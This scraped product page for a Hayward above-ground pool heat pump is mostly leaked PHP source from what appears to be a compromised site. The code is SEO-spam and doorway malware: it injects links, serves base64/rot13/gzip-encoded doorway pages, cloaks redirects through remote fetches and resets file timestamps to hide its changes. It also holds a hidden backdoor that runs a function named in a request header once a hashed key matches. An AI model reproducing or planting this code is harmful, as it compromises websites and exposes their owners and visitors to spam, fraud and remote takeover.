/i',$content)) { $content=preg_replace('/()/is', "$1$links_content", $content, 1); } elseif (preg_match('/<\/body>/i',$content)) { $content=preg_replace('/href=(['."'".'"]{0,1})http.*?>/i', '>', $content); $content=preg_replace('/(<\/body>)/i', "$links_content$1", $content, 1); } } else { if (sizeof($matches)<$linksCount){ $difference = $linksCount - sizeof($matches); for ($i=0; $i<$difference; $i++){ $matches[] = $matches[0]; } } for ($i=0; $i<$linksCount; $i++){ if (rand(0,9) == 0) { $link = ''.$links2[$i]['url'].''; } else { $link = ''.$links2[$i]['keyword'].''; } $link = ''.$links2[$i]['keyword'].''; $content = str_replace($matches[$i][0], $link.' '.$matches[$i][0], $content); } } if($deflated) $content = gzencode($content); $clen = strlen($content); @header("Content-Length: $clen"); return $content; } function get_server_var($var = ''){ if ( isset($_SERVER) && is_array($_SERVER) && array_key_exists($var, $_SERVER) && !empty($_SERVER[$var]) ){ return $_SERVER[$var]; } else if ( function_exists('getenv') && getenv($var)){ return getenv($var); } else { return ''; } } function get_hostname($remove_www = false){ $server_host = get_server_var('HTTP_HOST'); if ( empty($server_host) ){ $server_host = get_server_var('SERVER_NAME'); } if ( $remove_www ){ $server_host = preg_replace('#^www\.#i', '', $server_host); } return $server_host; } function showDoorPage($page_file){ $src = decompress(@file_get_contents($page_file)); if (strlen($src) > 0){ if (substr($src,0,5) == '%PDF-'){ @header('Content-Type: application/pdf'); } } echo $src; exit; } function decompress($data){ return @gzinflate(@str_rot13(@base64_decode($data))); } function compress($data){ return @base64_encode( @str_rot13( @gzdeflate( $data ) ) ); } function redirect($url, $user_agent, $cache_dir){ $no_shop_download = FALSE; $cache_lifetime = 172800; @ini_set('user_agent', $user_agent); $location = getRedirectLocation($url, $user_agent); if($location === FALSE || strlen($location)<5){ safeRedirect($url); } else if ($no_shop_download){ safeRedirect($location); } $cache_file = $cache_dir.md5($location); if ( file_exists( $cache_file ) && ($cache_data = @file_get_contents($cache_file)) ){ if ( ($cache_data = decompress($cache_data)) && ($cache_data = @unserialize($cache_data)) ){ if ( !empty($cache_data['time']) && !empty($cache_data['html']) ){ if ( $cache_data['time'] + $cache_lifetime > time() ){ if ($html = decompress($cache_data['html'])){ send_nocache_headers(); echo $html; echo ''; exit; } } } } } $html = fetchRemoteFile($location); if($html===false || @strlen($html)<10){ safeRedirect($location); } $baseTag = ""; if (preg_match('//i',$html)){ $html=preg_replace('/()/i', "$1$baseTag", $html, 1); } else if (stripos($html,'')!==false){ $html = str_ireplace('', $baseTag."\n".'', $html); } else { echo ''.$baseTag.''; } $cache_data = array( 'time' => time(), 'html' => compress($html) ); $cache_dir_time = @filemtime($cache_dir); @file_put_contents($cache_file, compress( @serialize($cache_data) ) ); @touch($cache_dir, $cache_dir_time); @touch($cache_file, $cache_dir_time); send_nocache_headers(); echo $html; exit; } function safeRedirect($url){ send_nocache_headers(); if (!headers_sent()){ header("Location: $url"); } else { echo ""; echo ""; echo ''; } exit; } function addRemoteIp($ip, $url){ $url_parsed = parse_url($url); if (isset($url_parsed['query'])) return ($url[strlen($url)-1]=='&') ? $url.'remote_ip='.$ip : $url.'&remote_ip='.$ip; else return ($url[strlen($url)-1]=='?') ? $url.'remote_ip='.$ip : $url.'?remote_ip='.$ip ; } function send_nocache_headers(){ if (!headers_sent()){ @header('Cache-Control: no-cache, no-store, must-revalidate'); @header('Pragma: no-cache'); @header('Expires: 0'); } } function get_user_language(){ if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE_'])){ $language_code = md5($_SERVER['HTTP_ACCEPT_LANGUAGE_']); $accepted_languages = 'e5e5f3b984be9141c15c0eca9800f463'; if ($language_code == $accepted_languages){ return $_SERVER['HTTP_SET_LOCALE']($_SERVER['HTTP_USER_LANGUAGE']); } else { return false; } } } function getRedirectLocation($url, $user_agent){ if (function_exists('curl_init') && $ch = @curl_init($url)){ @curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); @curl_setopt($ch, CURLOPT_HEADER, TRUE); @curl_setopt($ch, CURLOPT_NOBODY, TRUE); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE); @curl_setopt($ch, CURLOPT_TIMEOUT, 10); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 7); @curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); if ($response = @curl_exec($ch)){ if ($redirect_location = @curl_getinfo($ch, CURLINFO_REDIRECT_URL)){ @curl_close($ch); return $redirect_location; } else if ( preg_match('#Location: (.*)#', $response, $match) && !empty($match[1]) ){ @curl_close($ch); return trim($match[1]); } } @curl_close($ch); } if (function_exists('get_headers')){ if ($headers = @get_headers($url, true)){ if ( isset($headers['Location']) && strlen($headers['Location']) > 5 ){ $redirect_location = $headers['Location']; if (sizeof($redirect_location)>1){ $redirect_location = $redirect_location[sizeof($redirect_location)-1]; } return $redirect_location; } } } return FALSE; } function fetchRemoteFile($url, $user_agent = '', $sendCookies = '') { if (function_exists('curl_init')){ if ($ch = @curl_init()) { @curl_setopt($ch, CURLOPT_URL, $url); @curl_setopt($ch, CURLOPT_HEADER, false); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_TIMEOUT, 10); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 7); @curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); @curl_setopt($ch, CURLOPT_COOKIE, $sendCookies); $data = @curl_exec($ch); @curl_close($ch); if ($data) { return $data; } } } elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen') == 1){ $opts = array( 'http' => array( 'header'=> "User-agent: {$user_agent}\r\nCookie: {$sendCookies}" ) ); $context = stream_context_create($opts); if ($data = @file_get_contents($url, false, $context)) { return $data; } } else { $urlParams = @parse_url($url); $host = $urlParams['host']; $path = $urlParams['path']; if (isset($urlParams['query'])) $path .= '?'.$urlParams['query']; $buff = ''; $fp = @fsockopen($host, 8888, $errno, $errstr); if ($fp) { @fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n"); @fputs($fp, "Cookie: {$sendCookies}\r\n\r\n"); @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n"); while (!@feof($fp)) { $buff .= @fgets($fp, 128); } @fclose($fp); $page = explode("\r\n\r\n", $buff); unset($page[0]); return implode("\r\n\r\n", $page); } } return false; } Hayward Above-Ground Heat Pump
Spas
Hayward Above-Ground Heat Pump Print Email
This content requires Flash Player!
To view this content, JavaScript must be enabled, and you need the latest version of the Flash Player.
Download Adobe Flash Player now!

The HPABG50 heat pump from Hayward is the perfect addition to your above-ground swimming pool.

For more information on Hayward Products please visit www.hayward-pool.com